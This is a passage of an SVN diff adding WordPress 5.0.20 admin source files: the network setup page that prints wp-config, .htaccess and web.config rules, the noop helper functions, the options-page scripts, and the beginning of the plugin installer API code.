+	if ( is_wp_error( $errors ) )
+		echo '<div class="error">' . $errors->get_error_message() . '</div>';
+
+	if ( $_POST ) {
+		if ( allow_subdomain_install() )
+			$subdomain_install = allow_subdirectory_install() ? ! empty( $_POST['subdomain_install'] ) : true;
+		else
+			$subdomain_install = false;
+	} else {
+		if ( is_multisite() ) {
+			$subdomain_install = is_subdomain_install();
+?>
+	<p><?php _e( 'The original configuration steps are shown here for reference.' ); ?></p>
+<?php
+		} else {
+			$subdomain_install = (bool) $wpdb->get_var( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = 1 AND meta_key = 'subdomain_install'" );
+?>
+	<div class="error"><p><strong><?php _e( 'Warning:' ); ?></strong> <?php _e( 'An existing WordPress network was detected.' ); ?></p></div>
+	<p><?php _e( 'Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables.' ); ?></p>
+<?php
+		}
+	}
+
+	$subdir_match          = $subdomain_install ? '' : '([_0-9a-zA-Z-]+/)?';
+	$subdir_replacement_01 = $subdomain_install ? '' : '$1';
+	$subdir_replacement_12 = $subdomain_install ? '$1' : '$2';
+
+	if ( $_POST || ! is_multisite() ) {
+?>
+		<h3><?php esc_html_e( 'Enabling the Network' ); ?></h3>
+		<p><?php _e( 'Complete the following steps to enable the features for creating a network of sites.' ); ?></p>
+		<div class="updated inline"><p><?php
+			if ( file_exists( $home_path . '.htaccess' ) ) {
+				echo '<strong>' . __( 'Caution:' ) . '</strong> ';
+				printf(
+					/* translators: 1: wp-config.php 2: .htaccess */
+					__( 'We recommend you back up your existing %1$s and %2$s files.' ),
+					'<code>wp-config.php</code>',
+					'<code>.htaccess</code>'
+				);
+			} elseif ( file_exists( $home_path . 'web.config' ) ) {
+				echo '<strong>' . __( 'Caution:' ) . '</strong> ';
+				printf(
+					/* translators: 1: wp-config.php 2: web.config */
+					__( 'We recommend you back up your existing %1$s and %2$s files.' ),
+					'<code>wp-config.php</code>',
+					'<code>web.config</code>'
+				);
+			} else {
+				echo '<strong>' . __( 'Caution:' ) . '</strong> ';
+				printf(
+					/* translators: 1: wp-config.php */
+					__( 'We recommend you back up your existing %s file.' ),
+					'<code>wp-config.php</code>'
+				);
+			}
+		?></p></div>
+<?php
+	}
+?>
+		<ol>
+			<li><p><?php printf(
+				/* translators: 1: wp-config.php 2: location of wp-config file, 3: translated version of "That's all, stop editing! Happy blogging." */
+				__( 'Add the following to your %1$s file in %2$s <strong>above</strong> the line reading %3$s:' ),
+				'<code>wp-config.php</code>',
+				'<code>' . $location_of_wp_config . '</code>',
+				/*
+				 * translators: This string should only be translated if wp-config-sample.php is localized.
+				 * You can check the localized release package or
+				 * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
+				 */
+				'<code>/* ' . __( 'That&#8217;s all, stop editing! Happy blogging.' ) . ' */</code>'
+			); ?></p>
+				<textarea class="code" readonly="readonly" cols="100" rows="7">
+define('MULTISITE', true);
+define('SUBDOMAIN_INSTALL', <?php echo $subdomain_install ? 'true' : 'false'; ?>);
+define('DOMAIN_CURRENT_SITE', '<?php echo $hostname; ?>');
+define('PATH_CURRENT_SITE', '<?php echo $base; ?>');
+define('SITE_ID_CURRENT_SITE', 1);
+define('BLOG_ID_CURRENT_SITE', 1);
+</textarea>
+<?php
+	$keys_salts = array( 'AUTH_KEY' => '', 'SECURE_AUTH_KEY' => '', 'LOGGED_IN_KEY' => '', 'NONCE_KEY' => '', 'AUTH_SALT' => '', 'SECURE_AUTH_SALT' => '', 'LOGGED_IN_SALT' => '', 'NONCE_SALT' => '' );
+	foreach ( $keys_salts as $c => $v ) {
+		if ( defined( $c ) )
+			unset( $keys_salts[ $c ] );
+	}
+
+	if ( ! empty( $keys_salts ) ) {
+		$keys_salts_str = '';
+		$from_api = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
+		if ( is_wp_error( $from_api ) ) {
+			foreach ( $keys_salts as $c => $v ) {
+				$keys_salts_str .= "\ndefine( '$c', '" . wp_generate_password( 64, true, true ) . "' );";
+			}
+		} else {
+			$from_api = explode( "\n", wp_remote_retrieve_body( $from_api ) );
+			foreach ( $keys_salts as $c => $v ) {
+				$keys_salts_str .= "\ndefine( '$c', '" . substr( array_shift( $from_api ), 28, 64 ) . "' );";
+			}
+		}
+		$num_keys_salts = count( $keys_salts );
+?>
+	<p>
+		<?php
+			if ( 1 == $num_keys_salts ) {
+				printf(
+					/* translators: 1: wp-config.php */
+					__( 'This unique authentication key is also missing from your %s file.' ),
+					'<code>wp-config.php</code>'
+				);
+			} else {
+				printf(
+					/* translators: 1: wp-config.php */
+					__( 'These unique authentication keys are also missing from your %s file.' ),
+					'<code>wp-config.php</code>'
+				);
+			}
+		?>
+		<?php _e( 'To make your installation more secure, you should also add:' ); ?>
+	</p>
+	<textarea class="code" readonly="readonly" cols="100" rows="<?php echo $num_keys_salts; ?>"><?php echo esc_textarea( $keys_salts_str ); ?></textarea>
+<?php
+	}
+?>
+</li>
+<?php
+	if ( iis7_supports_permalinks() ) :
+		// IIS doesn't support RewriteBase, all your RewriteBase are belong to us
+		$iis_subdir_match = ltrim( $base, '/' ) . $subdir_match;
+		$iis_rewrite_base = ltrim( $base, '/' ) . $rewrite_base;
+		$iis_subdir_replacement = $subdomain_install ? '' : '{R:1}';
+
+		$web_config_file = '<?xml version="1.0" encoding="UTF-8"?>
+<configuration>
+    <system.webServer>
+        <rewrite>
+            <rules>
+                <rule name="WordPress Rule 1" stopProcessing="true">
+                    <match url="^index\.php$" ignoreCase="false" />
+                    <action type="None" />
+                </rule>';
+				if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
+					$web_config_file .= '
+                <rule name="WordPress Rule for Files" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . 'files/(.+)" ignoreCase="false" />
+                    <action type="Rewrite" url="' . $iis_rewrite_base . WPINC . '/ms-files.php?file={R:1}" appendQueryString="false" />
+                </rule>';
+                }
+                $web_config_file .= '
+                <rule name="WordPress Rule 2" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . 'wp-admin$" ignoreCase="false" />
+                    <action type="Redirect" url="' . $iis_subdir_replacement . 'wp-admin/" redirectType="Permanent" />
+                </rule>
+                <rule name="WordPress Rule 3" stopProcessing="true">
+                    <match url="^" ignoreCase="false" />
+                    <conditions logicalGrouping="MatchAny">
+                        <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" />
+                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" />
+                    </conditions>
+                    <action type="None" />
+                </rule>
+                <rule name="WordPress Rule 4" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . '(wp-(content|admin|includes).*)" ignoreCase="false" />
+                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:1}" />
+                </rule>
+                <rule name="WordPress Rule 5" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . '([_0-9a-zA-Z-]+/)?(.*\.php)$" ignoreCase="false" />
+                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:2}" />
+                </rule>
+                <rule name="WordPress Rule 6" stopProcessing="true">
+                    <match url="." ignoreCase="false" />
+                    <action type="Rewrite" url="index.php" />
+                </rule>
+            </rules>
+        </rewrite>
+    </system.webServer>
+</configuration>
+';
+
+		echo '<li><p>';
+		printf(
+			/* translators: 1: a filename like .htaccess. 2: a file path. */
+			__( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
+			'<code>web.config</code>',
+			'<code>' . $home_path . '</code>'
+		);
+		echo '</p>';
+		if ( ! $subdomain_install && WP_CONTENT_DIR != ABSPATH . 'wp-content' )
+			echo '<p><strong>' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
+		?>
+		<textarea class="code" readonly="readonly" cols="100" rows="20"><?php echo esc_textarea( $web_config_file ); ?>
+		</textarea></li>
+		</ol>
+
+	<?php else : // end iis7_supports_permalinks(). construct an htaccess file instead:
+
+		$ms_files_rewriting = '';
+		if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
+			$ms_files_rewriting = "\n# uploaded files\nRewriteRule ^";
+			$ms_files_rewriting .= $subdir_match . "files/(.+) {$rewrite_base}" . WPINC . "/ms-files.php?file={$subdir_replacement_12} [L]" . "\n";
+		}
+
+		$htaccess_file = <<<EOF
+RewriteEngine On
+RewriteBase {$base}
+RewriteRule ^index\.php$ - [L]
+{$ms_files_rewriting}
+# add a trailing slash to /wp-admin
+RewriteRule ^{$subdir_match}wp-admin$ {$subdir_replacement_01}wp-admin/ [R=301,L]
+
+RewriteCond %{REQUEST_FILENAME} -f [OR]
+RewriteCond %{REQUEST_FILENAME} -d
+RewriteRule ^ - [L]
+RewriteRule ^{$subdir_match}(wp-(content|admin|includes).*) {$rewrite_base}{$subdir_replacement_12} [L]
+RewriteRule ^{$subdir_match}(.*\.php)$ {$rewrite_base}$subdir_replacement_12 [L]
+RewriteRule . index.php [L]
+
+EOF;
+
+		echo '<li><p>';
+		printf(
+			/* translators: 1: a filename like .htaccess. 2: a file path. */
+			__( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
+			'<code>.htaccess</code>',
+			'<code>' . $home_path . '</code>'
+		);
+		echo '</p>';
+		if ( ! $subdomain_install && WP_CONTENT_DIR != ABSPATH . 'wp-content' )
+			echo '<p><strong>' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
+		?>
+		<textarea class="code" readonly="readonly" cols="100" rows="<?php echo substr_count( $htaccess_file, "\n" ) + 1; ?>">
+<?php echo esc_textarea( $htaccess_file ); ?></textarea></li>
+		</ol>
+
+	<?php endif; // end IIS/Apache code branches.
+
+	if ( !is_multisite() ) { ?>
+		<p><?php _e( 'Once you complete these steps, your network is enabled and configured. You will have to log in again.' ); ?> <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p>
+<?php
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/noop.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/noop.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/noop.php	(revision 56912)
@@ -0,0 +1,113 @@
+<?php
+/**
+ * Noop functions for load-scripts.php and load-styles.php.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * @ignore
+ */
+function __() {}
+
+/**
+ * @ignore
+ */
+function _x() {}
+
+/**
+ * @ignore
+ */
+function add_filter() {}
+
+/**
+ * @ignore
+ */
+function esc_attr() {}
+
+/**
+ * @ignore
+ */
+function apply_filters() {}
+
+/**
+ * @ignore
+ */
+function get_option() {}
+
+/**
+ * @ignore
+ */
+function is_lighttpd_before_150() {}
+
+/**
+ * @ignore
+ */
+function add_action() {}
+
+/**
+ * @ignore
+ */
+function did_action() {}
+
+/**
+ * @ignore
+ */
+function do_action_ref_array() {}
+
+/**
+ * @ignore
+ */
+function get_bloginfo() {}
+
+/**
+ * @ignore
+ */
+function is_admin() {return true;}
+
+/**
+ * @ignore
+ */
+function site_url() {}
+
+/**
+ * @ignore
+ */
+function admin_url() {}
+
+/**
+ * @ignore
+ */
+function home_url() {}
+
+/**
+ * @ignore
+ */
+function includes_url() {}
+
+/**
+ * @ignore
+ */
+function wp_guess_url() {}
+
+if ( ! function_exists( 'json_encode' ) ) :
+/**
+ * @ignore
+ */
+function json_encode() {}
+endif;
+
+function get_file( $path ) {
+
+	if ( function_exists('realpath') ) {
+		$path = realpath( $path );
+	}
+
+	if ( ! $path || ! @is_file( $path ) ) {
+		return '';
+	}
+
+	return @file_get_contents( $path );
+}
Index: /tags/5.0.20/src/wp-admin/includes/options.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/options.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/options.php	(revision 56912)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * WordPress Options Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Output JavaScript to toggle display of additional settings if avatars are disabled.
+ *
+ * @since 4.2.0
+ */
+function options_discussion_add_js() {
+?>
+	<script>
+	(function($){
+		var parent = $( '#show_avatars' ),
+			children = $( '.avatar-settings' );
+		parent.change(function(){
+			children.toggleClass( 'hide-if-js', ! this.checked );
+		});
+	})(jQuery);
+	</script>
+<?php
+}
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function options_general_add_js() {
+?>
+<script type="text/javascript">
+	jQuery(document).ready(function($){
+		var $siteName = $( '#wp-admin-bar-site-name' ).children( 'a' ).first(),
+			homeURL = ( <?php echo wp_json_encode( get_home_url() ); ?> || '' ).replace( /^(https?:\/\/)?(www\.)?/, '' );
+
+		$( '#blogname' ).on( 'input', function() {
+			var title = $.trim( $( this ).val() ) || homeURL;
+
+			// Truncate to 40 characters.
+			if ( 40 < title.length ) {
+				title = title.substring( 0, 40 ) + '\u2026';
+			}
+
+			$siteName.text( title );
+		});
+
+		$("input[name='date_format']").click(function(){
+			if ( "date_format_custom_radio" != $(this).attr("id") )
+				$( 'input[name="date_format_custom"]' ).val( $( this ).val() ).closest( 'fieldset' ).find( '.example' ).text( $( this ).parent( 'label' ).children( '.format-i18n' ).text() );
+		});
+		$( 'input[name="date_format_custom"]' ).on( 'click input', function() {
+			$( '#date_format_custom_radio' ).prop( 'checked', true );
+		});
+
+		$("input[name='time_format']").click(function(){
+			if ( "time_format_custom_radio" != $(this).attr("id") )
+				$( 'input[name="time_format_custom"]' ).val( $( this ).val() ).closest( 'fieldset' ).find( '.example' ).text( $( this ).parent( 'label' ).children( '.format-i18n' ).text() );
+		});
+		$( 'input[name="time_format_custom"]' ).on( 'click input', function() {
+			$( '#time_format_custom_radio' ).prop( 'checked', true );
+		});
+		$("input[name='date_format_custom'], input[name='time_format_custom']").change( function() {
+			var format = $( this ),
+				fieldset = format.closest( 'fieldset' ),
+				example = fieldset.find( '.example' ),
+				spinner = fieldset.find( '.spinner' );
+
+			spinner.addClass( 'is-active' );
+
+			$.post( ajaxurl, {
+					action: 'date_format_custom' == format.attr( 'name' ) ? 'date_format' : 'time_format',
+					date : format.val()
+				}, function( d ) { spinner.removeClass( 'is-active' ); example.text( d ); } );
+		});
+
+		var languageSelect = $( '#WPLANG' );
+		$( 'form' ).submit( function() {
+			// Don't show a spinner for English and installed languages,
+			// as there is nothing to download.
+			if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
+				$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
+			}
+		});
+	});
+</script>
+<?php
+}
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function options_reading_add_js() {
+?>
+<script type="text/javascript">
+	jQuery(document).ready(function($){
+		var section = $('#front-static-pages'),
+			staticPage = section.find('input:radio[value="page"]'),
+			selects = section.find('select'),
+			check_disabled = function(){
+				selects.prop( 'disabled', ! staticPage.prop('checked') );
+			};
+		check_disabled();
+ 		section.find('input:radio').change(check_disabled);
+	});
+</script>
+<?php
+}
+
+/**
+ * Render the site charset setting.
+ *
+ * @since 3.5.0
+ */
+function options_reading_blog_charset() {
+	echo '<input name="blog_charset" type="text" id="blog_charset" value="' . esc_attr( get_option( 'blog_charset' ) ) . '" class="regular-text" />';
+	echo '<p class="description">' . __( 'The <a href="https://codex.wordpress.org/Glossary#Character_set">character encoding</a> of your site (UTF-8 is recommended)' ) . '</p>';
+}
Index: /tags/5.0.20/src/wp-admin/includes/plugin-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/plugin-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/plugin-install.php	(revision 56912)
@@ -0,0 +1,727 @@
+<?php
+/**
+ * WordPress Plugin Install Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Retrieves plugin installer pages from the WordPress.org Plugins API.
+ *
+ * It is possible for a plugin to override the Plugin API result with three
+ * filters. Assume this is for plugins, which can extend on the Plugin Info to
+ * offer more choices. This is very powerful and must be used with care when
+ * overriding the filters.
+ *
+ * The first filter, {@see 'plugins_api_args'}, is for the args and gives the action
+ * as the second parameter. The hook for {@see 'plugins_api_args'} must ensure that
+ * an object is returned.
+ *
+ * The second filter, {@see 'plugins_api'}, allows a plugin to override the WordPress.org
+ * Plugin Installation API entirely. If `$action` is 'query_plugins' or 'plugin_information',
+ * an object MUST be passed. If `$action` is 'hot_tags' or 'hot_categories', an array MUST
+ * be passed.
+ *
+ * Finally, the third filter, {@see 'plugins_api_result'}, makes it possible to filter the
+ * response object or array, depending on the `$action` type.
+ *
+ * Supported arguments per action:
+ *
+ * | Argument Name        | query_plugins | plugin_information | hot_tags | hot_categories |
+ * | -------------------- | :-----------: | :----------------: | :------: | :------------: |
+ * | `$slug`              | No            |  Yes               | No       | No             |
+ * | `$per_page`          | Yes           |  No                | No       | No             |
+ * | `$page`              | Yes           |  No                | No       | No             |
+ * | `$number`            | No            |  No                | Yes      | Yes            |
+ * | `$search`            | Yes           |  No                | No       | No             |
+ * | `$tag`               | Yes           |  No                | No       | No             |
+ * | `$author`            | Yes           |  No                | No       | No             |
+ * | `$user`              | Yes           |  No                | No       | No             |
+ * | `$browse`            | Yes           |  No                | No       | No             |
+ * | `$locale`            | Yes           |  Yes               | No       | No             |
+ * | `$installed_plugins` | Yes           |  No                | No       | No             |
+ * | `$is_ssl`            | Yes           |  Yes               | No       | No             |
+ * | `$fields`            | Yes           |  Yes               | No       | No             |
+ *
+ * @since 2.7.0
+ *
+ * @param string       $action API action to perform: 'query_plugins', 'plugin_information',
+ *                             'hot_tags' or 'hot_categories'.
+ * @param array|object $args   {
+ *     Optional. Array or object of arguments to serialize for the Plugin Info API.
+ *
+ *     @type string  $slug              The plugin slug. Default empty.
+ *     @type int     $per_page          Number of plugins per page. Default 24.
+ *     @type int     $page              Number of current page. Default 1.
+ *     @type int     $number            Number of tags or categories to be queried.
+ *     @type string  $search            A search term. Default empty.
+ *     @type string  $tag               Tag to filter plugins. Default empty.
+ *     @type string  $author            Username of an plugin author to filter plugins. Default empty.
+ *     @type string  $user              Username to query for their favorites. Default empty.
+ *     @type string  $browse            Browse view: 'popular', 'new', 'beta', 'recommended'.
+ *     @type string  $locale            Locale to provide context-sensitive results. Default is the value
+ *                                      of get_locale().
+ *     @type string  $installed_plugins Installed plugins to provide context-sensitive results.
+ *     @type bool    $is_ssl            Whether links should be returned with https or not. Default false.
+ *     @type array   $fields            {
+ *         Array of fields which should or should not be returned.
+ *
+ *         @type bool $short_description Whether to return the plugin short description. Default true.
+ *         @type bool $description       Whether to return the plugin full description. Default false.
+ *         @type bool $sections          Whether to return the plugin readme sections: description, installation,
+ *                                       FAQ, screenshots, other notes, and changelog. Default false.
+ *         @type bool $tested            Whether to return the 'Compatible up to' value. Default true.
+ *         @type bool $requires          Whether to return the required WordPress version. Default true.
+ *         @type bool $rating            Whether to return the rating in percent and total number of ratings.
+ *                                       Default true.
+ *         @type bool $ratings           Whether to return the number of rating for each star (1-5). Default true.
+ *         @type bool $downloaded        Whether to return the download count. Default true.
+ *         @type bool $downloadlink      Whether to return the download link for the package. Default true.
+ *         @type bool $last_updated      Whether to return the date of the last update. Default true.
+ *         @type bool $added             Whether to return the date when the plugin was added to the wordpress.org
+ *                                       repository. Default true.
+ *         @type bool $tags              Whether to return the assigned tags. Default true.
+ *         @type bool $compatibility     Whether to return the WordPress compatibility list. Default true.
+ *         @type bool $homepage          Whether to return the plugin homepage link. Default true.
+ *         @type bool $versions          Whether to return the list of all available versions. Default false.
+ *         @type bool $donate_link       Whether to return the donation link. Default true.
+ *         @type bool $reviews           Whether to return the plugin reviews. Default false.
+ *         @type bool $banners           Whether to return the banner images links. Default false.
+ *         @type bool $icons             Whether to return the icon links. Default false.
+ *         @type bool $active_installs   Whether to return the number of active installations. Default false.
+ *         @type bool $group             Whether to return the assigned group. Default false.
+ *         @type bool $contributors      Whether to return the list of contributors. Default false.
+ *     }
+ * }
+ * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
+ *         {@link https://developer.wordpress.org/reference/functions/plugins_api/ function reference article}
+ *         for more information on the make-up of possible return values depending on the value of `$action`.
+ */
+function plugins_api( $action, $args = array() ) {
+
+	if ( is_array( $args ) ) {
+		$args = (object) $args;
+	}
+
+	if ( ! isset( $args->per_page ) ) {
+		$args->per_page = 24;
+	}
+
+	if ( ! isset( $args->locale ) ) {
+		$args->locale = get_user_locale();
+	}
+
+	/**
+	 * Filters the WordPress.org Plugin Installation API arguments.
+	 *
+	 * Important: An object MUST be returned to this filter.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param object $args   Plugin API arguments.
+	 * @param string $action The type of information being requested from the Plugin Installation API.
+	 */
+	$args = apply_filters( 'plugins_api_args', $args, $action );
+
+	/**
+	 * Filters the response for the current WordPress.org Plugin Installation API request.
+	 *
+	 * Passing a non-false value will effectively short-circuit the WordPress.org API request.
+	 *
+	 * If `$action` is 'query_plugins' or 'plugin_information', an object MUST be passed.
+	 * If `$action` is 'hot_tags' or 'hot_categories', an array should be passed.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param false|object|array $result The result object or array. Default false.
+	 * @param string             $action The type of information being requested from the Plugin Installation API.
+	 * @param object             $args   Plugin API arguments.
+	 */
+	$res = apply_filters( 'plugins_api', false, $action, $args );
+
+	if ( false === $res ) {
+		// include an unmodified $wp_version
+		include( ABSPATH . WPINC . '/version.php' );
+
+		$url = $http_url = 'http://api.wordpress.org/plugins/info/1.0/';
+		if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+			$url = set_url_scheme( $url, 'https' );
+
+		$http_args = array(
+			'timeout' => 15,
+			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
+			'body' => array(
+				'action' => $action,
+				'request' => serialize( $args )
+			)
+		);
+		$request = wp_remote_post( $url, $http_args );
+
+		if ( $ssl && is_wp_error( $request ) ) {
+			trigger_error(
+				sprintf(
+					/* translators: %s: support forums URL */
+					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+					__( 'https://wordpress.org/support/' )
+				) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+				headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+			);
+			$request = wp_remote_post( $http_url, $http_args );
+		}
+
+		if ( is_wp_error($request) ) {
+			$res = new WP_Error( 'plugins_api_failed',
+				sprintf(
+					/* translators: %s: support forums URL */
+					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+					__( 'https://wordpress.org/support/' )
+				),
+				$request->get_error_message()
+			);
+		} else {
+			$res = maybe_unserialize( wp_remote_retrieve_body( $request ) );
+			if ( ! is_object( $res ) && ! is_array( $res ) ) {
+				$res = new WP_Error( 'plugins_api_failed',
+					sprintf(
+						/* translators: %s: support forums URL */
+						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+						__( 'https://wordpress.org/support/' )
+					),
+					wp_remote_retrieve_body( $request )
+				);
+			}
+		}
+	} elseif ( !is_wp_error($res) ) {
+		$res->external = true;
+	}
+
+	/**
+	 * Filters the Plugin Installation API response results.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param object|WP_Error $res    Response object or WP_Error.
+	 * @param string          $action The type of information being requested from the Plugin Installation API.
+	 * @param object          $args   Plugin API arguments.
+	 */
+	return apply_filters( 'plugins_api_result', $res, $action, $args );
+}
+
+/**
+ * Retrieve popular WordPress plugin tags.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args
+ * @return array
+ */
+function install_popular_tags( $args = array() ) {
+	$key = md5(serialize($args));
+	if ( false !== ($tags = get_site_transient('poptags_' . $key) ) )
+		return $tags;
+
+	$tags = plugins_api('hot_tags', $args);
+
+	if ( is_wp_error($tags) )
+		return $tags;
+
+	set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS );
+
+	return $tags;
+}
+
+/**
+ * @since 2.7.0
+ */
+function install_dashboard() {
+	?>
+	<p><?php printf( __( 'Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="%1$s">WordPress Plugin Directory</a> or upload a plugin in .zip format by clicking the button at the top of this page.' ), __( 'https://wordpress.org/plugins/' ) ); ?></p>
+
+	<?php display_plugins_table(); ?>
+
+	<div class="plugins-popular-tags-wrapper">
+	<h2><?php _e( 'Popular tags' ) ?></h2>
+	<p><?php _e( 'You may also browse based on the most popular tags in the Plugin Directory:' ) ?></p>
+	<?php
+
+	$api_tags = install_popular_tags();
+
+	echo '<p class="popular-tags">';
+	if ( is_wp_error($api_tags) ) {
+		echo $api_tags->get_error_message();
+	} else {
+		//Set up the tags in a way which can be interpreted by wp_generate_tag_cloud()
+		$tags = array();
+		foreach ( (array) $api_tags as $tag ) {
+			$url = self_admin_url( 'plugin-install.php?tab=search&type=tag&s=' . urlencode( $tag['name'] ) );
+			$data = array(
+				'link' => esc_url( $url ),
+				'name' => $tag['name'],
+				'slug' => $tag['slug'],
+				'id' => sanitize_title_with_dashes( $tag['name'] ),
+				'count' => $tag['count']
+			);
+			$tags[ $tag['name'] ] = (object) $data;
+		}
+		echo wp_generate_tag_cloud($tags, array( 'single_text' => __('%s plugin'), 'multiple_text' => __('%s plugins') ) );
+	}
+	echo '</p><br class="clear" /></div>';
+}
+
+/**
+ * Displays a search form for searching plugins.
+ *
+ * @since 2.7.0
+ * @since 4.6.0 The `$type_selector` parameter was deprecated.
+ *
+ * @param bool $deprecated Not used.
+ */
+function install_search_form( $deprecated = true ) {
+	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
+	?><form class="search-form search-plugins" method="get">
+		<input type="hidden" name="tab" value="search" />
+		<label class="screen-reader-text" for="typeselector"><?php _e( 'Search plugins by:' ); ?></label>
+		<select name="type" id="typeselector">
+			<option value="term"<?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
+			<option value="author"<?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
+			<option value="tag"<?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Plugin Installer' ); ?></option>
+		</select>
+		<label><span class="screen-reader-text"><?php _e( 'Search Plugins' ); ?></span>
+			<input type="search" name="s" value="<?php echo esc_attr( $term ) ?>" class="wp-filter-search" placeholder="<?php esc_attr_e( 'Search plugins...' ); ?>" />
+		</label>
+		<?php submit_button( __( 'Search Plugins' ), 'hide-if-js', false, false, array( 'id' => 'search-submit' ) ); ?>
+	</form><?php
+}
+
+/**
+ * Upload from zip
+ * @since 2.8.0
+ */
+function install_plugins_upload() {
+?>
+<div class="upload-plugin">
+	<p class="install-help"><?php _e('If you have a plugin in a .zip format, you may install it by uploading it here.'); ?></p>
+	<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-plugin'); ?>">
+		<?php wp_nonce_field( 'plugin-upload' ); ?>
+		<label class="screen-reader-text" for="pluginzip"><?php _e( 'Plugin zip file' ); ?></label>
+		<input type="file" id="pluginzip" name="pluginzip" />
+		<?php submit_button( __( 'Install Now' ), '', 'install-plugin-submit', false ); ?>
+	</form>
+</div>
+<?php
+}
+
+/**
+ * Show a username form for the favorites page
+ * @since 3.5.0
+ *
+ */
+function install_plugins_favorites_form() {
+	$user   = get_user_option( 'wporg_favorites' );
+	$action = 'save_wporg_username_' . get_current_user_id();
+	?>
+	<p class="install-help"><?php _e( 'If you have marked plugins as favorites on WordPress.org, you can browse them here.' ); ?></p>
+	<form method="get">
+		<input type="hidden" name="tab" value="favorites" />
+		<p>
+			<label for="user"><?php _e( 'Your WordPress.org username:' ); ?></label>
+			<input type="search" id="user" name="user" value="<?php echo esc_attr( $user ); ?>" />
+			<input type="submit" class="button" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
+			<input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" />
+		</p>
+	</form>
+	<?php
+}
+
+/**
+ * Display plugin content based on plugin list.
+ *
+ * @since 2.7.0
+ *
+ * @global WP_List_Table $wp_list_table
+ */
+function display_plugins_table() {
+	global $wp_list_table;
+
+	switch ( current_filter() ) {
+		case 'install_plugins_favorites' :
+			if ( empty( $_GET['user'] ) && ! get_user_option( 'wporg_favorites' ) ) {
+				return;
+			}
+			break;
+		case 'install_plugins_recommended' :
+			echo '<p>' . __( 'These suggestions are based on the plugins you and other users have installed.' ) . '</p>';
+			break;
+		case 'install_plugins_beta' :
+			printf(
+				'<p>' . __( 'You are using a development version of WordPress. These feature plugins are also under development. <a href="%s">Learn more</a>.' ) . '</p>',
+				'https://make.wordpress.org/core/handbook/about/release-cycle/features-as-plugins/'
+			);
+			break;
+	}
+
+	?>
+	<form id="plugin-filter" method="post">
+		<?php $wp_list_table->display(); ?>
+	</form>
+	<?php
+}
+
+/**
+ * Determine the status we can perform on a plugin.
+ *
+ * @since 3.0.0
+ *
+ * @param  array|object $api  Data about the plugin retrieved from the API.
+ * @param  bool         $loop Optional. Disable further loops. Default false.
+ * @return array {
+ *     Plugin installation status data.
+ *
+ *     @type string $status  Status of a plugin. Could be one of 'install', 'update_available', 'latest_installed' or 'newer_installed'.
